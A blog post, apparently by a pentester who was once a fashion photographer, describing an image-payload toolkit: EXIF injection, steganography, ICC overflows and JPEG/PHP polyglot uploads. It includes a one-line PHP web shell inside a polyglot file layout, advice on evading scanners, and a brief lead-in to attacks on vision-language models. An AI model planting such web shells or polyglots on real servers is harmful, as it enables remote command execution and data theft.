Shot for Vogue. Rizzoli. W Magazine. Fashion editorial. Commercial. High-end retouching workflows with files moving from my camera card through five different systems before they hit a layout or a client's server.
Then I stopped shooting and started pentesting. AI paid better. The skills transferred in ways I didn't fully expect.
When photographers I knew heard I'd made the switch, the question was always the same: "What do you even do now?" The curiosity was genuine. These were people who understood craft, who cared about process, who thought carefully about their equipment and workflow. They just couldn't picture where red team fit in their mental map of my career.
I built ImagePayloadInjection partly as the answer.
Because every RAW file they'd ever handed to a retoucher, uploaded to a client portal, or submitted to a magazine was carrying metadata those systems parsed. And parsing is where things get interesting.
The Attack Surface Photographers Don't See
A CR2 from a Canon shoots out of the camera already containing EXIF data: camera model, lens, focal length, ISO, shutter speed, GPS coordinates if enabled, timestamps, even copyright strings. That data sits in structured binary fields that every piece of software touching the image must parse to display or process it.
Parse enough complex binary data and eventually something breaks. Or bends.
The fashion industry workflow is a perfect propagation chain: photographer β retoucher (Capture One, Lightroom, Photoshop) β art director β client review platform β publisher's CMS β web CDN. Each handoff involves new software parsing the same file. A payload embedded in EXIF field data on a file entering that chain at step one can ride it the whole way through.
ImageTragick (CVE-2016-3714) was the canonical example β a bug in ImageMagick that let attackers execute arbitrary code just by getting a target to process a crafted image. ImageMagick runs on enormous amounts of infrastructure because images need processing: resizing, format conversion, thumbnail generation. The photography industry's whole backend runs on it.
That was 2016. The pattern hasn't changed.
EXIF Fields, LSB Steganography, and Polyglot Files
Metadata Injection
EXIF fields accept strings. Some parsers trust those strings. ImagePayloadInjection crafts images with payloads embedded in standard EXIF fields β artist, copyright, ImageDescription, UserComment β formatted to trigger vulnerable parsers while leaving the visual image completely intact.
The image looks clean. Downloads clean. Opens fine in Preview or Photos. Gets processed by the target system's image pipeline, and that's when the payload executes.
# Inject payload into EXIF UserComment field
inject_exif_payload(
image_path="clean_photo.jpg",
field="UserComment",
payload=payload_bytes,
encode_as="utf-8-unicode"
)
Detection difficulty: high. AI content scanners analyze pixel data. EXIF data is invisible to visual classifiers. Signature-based detection requires knowing the specific payload signature, which changes.
Steganography
Least-significant-bit steganography hides data in the pixel values themselves. Change the last bit of each RGB channel and the visual difference is below the threshold of human perception. In a 24-megapixel fashion image, there's room for substantial payloads.
JPEG compression is the complication β it's lossy and destroys naΓ―ve steganography. The toolkit handles JPEG by targeting DCT coefficient manipulation instead of raw pixel values, which survives the compression cycle.
RAW files are the cleanest surface. Uncompressed sensor data. No lossy compression. No quantization tables to work around. The shooting I did at that level produced files with enormous data capacity for concealment.
steg = LSBSteganography(
carrier="fashion_editorial.cr2",
payload="payload.bin",
mode="raw_coefficients",
channels=["red", "green"]
)
steg.embed()
steg.verify_invisibility(threshold=0.001)
Parser Exploits
Image parsing libraries have bugs. LibPNG, LibJPEG, libtiff, OpenEXR β the libraries that handle image format parsing are large, complex, and written in C. Memory corruption bugs appear regularly.
Polyglot files are the cleaner technique: a single file that is simultaneously a valid JPEG and a valid PHP script, or a valid GIF and valid HTML. Some upload handlers check file extension. Some check magic bytes. Few do both and also validate the full format. A file passing both checks can contain executable content that activates when the server processes it.
[File Structure]
Bytes 0-3: FF D8 FF E0 (JPEG magic bytes - passes content check)
Bytes 4-N: Valid JPEG header data
Bytes N+1... <?php system($_GET['cmd']); ?> (PHP payload)
Upload to a system that stores and serves user images, hit the stored file through the PHP interpreter, and the "image" executes server-side.
ICC Color Profile Injection
ICC profiles describe how a device maps colors. They're embedded in images. They're parsed by every system that handles color-managed images β which is every professional photography platform, every print workflow, every browser with color management enabled.
ICC profiles can be crafted with malformed data that triggers buffer overflows in vulnerable parsers. The profile looks valid from the outside. The image displays fine. The parser hits the crafted section and the overflow executes.
The VLM Attack Surface Nobody Measured
The toolkit has a second life now, because the target changed.
When I built the original version, the pipeline under threat was the image processing server β ImageMagick, libpng, libjpeg, the parser stack. The attacker's goal was code execution or data extraction through a vulnerable C library.
